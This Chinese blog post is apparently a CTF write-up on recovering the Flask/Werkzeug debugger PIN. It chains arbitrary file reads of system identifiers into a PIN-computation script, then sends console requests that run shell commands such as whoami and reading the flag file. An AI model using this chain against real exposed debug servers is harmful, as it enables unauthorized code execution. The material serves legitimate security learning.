Flask调试模式下计算PIN码

以前写的,发现忘记传博客了

PIN码

PIN码(Personal Identification Number,个人识别码)是一串数字密码,用于验证用户身份。

在Flask调试模式下,PIN码是保护调试器访问的安全机制,防止未经授权的用户执行任意代码。

文章:

深入浅出Flask PIN:https://www.freebuf.com/articles/network/340739.html

新版flask pin码计算:https://xz.aliyun.com/news/15462

如果 Flask 开启了 Debug 模式,就可以通过计算 PIN 码来进行RCE

测试代码:

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
return "Hello World"

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

image-20251225164445817

可以在运行终端看到生成的 PIN 码

1
* Debugger PIN: 289-980-813

可以在浏览器中访问/console,输入 PIN 码进入交互式 Python 控制台,这是依赖 Flask Werkzeug 调试器提供的功能

image-20251225164513247

输入 PIN 码进入控制台,可以执行 Python 代码

1
print(7*7)

image-20251225181140174

可以进行RCE

1
__import__('os').popen('whoami').read()

image-20251225181228411

计算PIN码

PIN码的组成:

  • probably_public_bits

    • username:系统用户名(可以从/etc/passwd读取)
    • appname:应用名称(固定为Flask
    • modname:模块名称(固定为flask.app
    • moddir:应用文件路径(从debug报错信息获取)
  • private_bits

    • uuid:MAC地址(去掉横杠转十进制,/sys/class/net/eth0/address
    • machine_id:机器ID(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)

有了以上六个东西就可以利用脚本计算 PIN 码了

计算 PIN 码的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import hashlib
from itertools import chain

probably_public_bits = [
# 系统用户名username
'ctf',
# 应用名称appname
'flask.app',
# 模块名称modname
'Flask',
# 应用文件路径moddir
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'
]

private_bits = [
# MAC地址十进制uuid
'100034049800637',
# 机器IDmachine_id
'89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
]

# PIN计算算法
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if bit:
h.update(bit.encode('utf-8') if isinstance(bit, str) else bit)

h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

# 计算PIN码的关键步骤
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 生成最终PIN码
pin = '-'.join(num[i:i+3] for i in range(0, 9, 3))
print(f"PIN码: {pin}")

例题:

题目:?CTF [Week4] 好像什么都能读

image-20251225183644248

是一个文件查看器,可以任意读取文件的,提示要算什么,这题就是要算 PIN 码

开始想先看看源码,读/app/app.py

image-20251225183828455

发现是报错了的,这个文件不存在,在报错中可以得到正确的源码文件路径

1
/home/ctf/app/app.py

然后就可以得到源码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
return render_template('index.html')

@app.route('/read')
def read():
# 获取请求参数中的文件名
filename = request.args.get('filename')
if not filename:
return "需要提供文件名", 400
with open(filename, 'r') as file:
content = file.read()
return content, 200

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

可以看到 debug 模式是开了的,然后就是找需要的东西计算 PIN 码

  • username:系统用户名(可以从/etc/passwd读取)

1
/etc/passwd

image-20251225184055769

所以username就是ctf

  • appname:应用名称(固定为Flask

  • modname:模块名称(固定为flask.app

  • moddir:应用文件路径(从debug报错信息获取)

image-20251225184306197

在之前的报错中可以得到应用文件路径为:

1
/home/ctf/.local/lib/python3.13/site-packages/flask/app.py
  • uuid:MAC地址(去掉横杠转十进制,/sys/class/net/eth0/address

/sys/class/net/eth0/address

1
/sys/class/net/eth0/address

image-20251226161713861

1
e2:f9:93:f7:03:80

转换成十进制:

1
2
mac = "e2:f9:93:f7:03:80"
print(int(mac.replace(':', ''), 16))
1
249561557173120
  • machine_id:机器ID(先读/etc/machine-id(无Docker读)、/proc/sys/kernel/random/boot_id(有Docker读),然后读/proc/self/cgroup并取第一行的最后一个斜杠 / 后面的所有字符串,最后和第一个值拼接起来)

这是CTF题,docker搭的,所以先读/proc/sys/kernel/random/boot_id

1
/proc/sys/kernel/random/boot_id

image-20251226015200708

1
89b34b88-6f33-4c4b-8a30-69a4ba41fd0e

然后读/proc/self/cgroup

1
/proc/self/cgroup

image-20251226015148813

1
0::/

这里第一行斜杠后面没字符,所以就不用拼接了,机器ID就是:

1
89b34b88-6f33-4c4b-8a30-69a4ba41fd0e

最后利用脚本计算 PIN 码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import hashlib
from itertools import chain

probably_public_bits = [
# 系统用户名username
'ctf',
# 应用名称appname
'flask.app',
# 模块名称modname
'Flask',
# 应用文件路径moddir
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'
]

private_bits = [
# MAC地址十进制uuid
'249561557173120',
# 机器IDmachine_id
'89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
]

# PIN计算算法
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if bit:
h.update(bit.encode('utf-8') if isinstance(bit, str) else bit)

h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

# 计算PIN码的关键步骤
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 生成最终PIN码
pin = '-'.join(num[i:i+3] for i in range(0, 9, 3))
print(f"PIN码: {pin}")


1
PIN码: 746-846-623

然后访问/console,输入 PIN 码就可以进入交互式 Python 控制台

image-20251225185741977

但是这里报错了,在之前本地测试的时候,执行python后,在终端可以看到:

image-20251226164444070

1
2
/console?__debugger__=yes&cmd=pinauth&pin=289-980-813&s=2BS8wvYFAGSUJ2PWkb3O
/console?__debugger__=yes&cmd=__import__('os').popen('whoami').read()&frm=0&s=2BS8wvYFAGSUJ2PWkb3O

所以可以用这个,最后的s是Werkzeug调试器的会话ID,可以在报错中得到:

image-20251226161915500

1
F2Ks7AYAxs4phVXbgpY0

也可以先抓包

image-20251226162010662

然后直接修改host127.0.0.1

1
2
3
4
GET /console HTTP/1.1
Host: 127.0.0.1


image-20251226162034330

1
/console?__debugger__=yes&cmd=pinauth&pin=746-846-623&s=F2Ks7AYAxs4phVXbgpY0

image-20251226164548717

可以得到Cookie,然后带着Cookie就可以进行RCE了,注意这里Host一直是127.0.0.1

1
2
3
4
5
GET /console?__debugger__=yes&cmd=__import__('os').popen('cat+/fllllaggggggggggg').read()&frm=0&s=F2Ks7AYAxs4phVXbgpY0 HTTP/1.1
Host: 127.0.0.1
Cookie: __wzd3230320e3fe0e5c677b9=1766738111|2d8a3ffa4579;


image-20251226164639864


Flask调试模式下计算PIN码
https://yschen20.github.io/2026/01/26/Flask调试模式下计算PIN码/
作者
Suzen
发布于
2026年1月26日
更新于
2026年1月26日
许可协议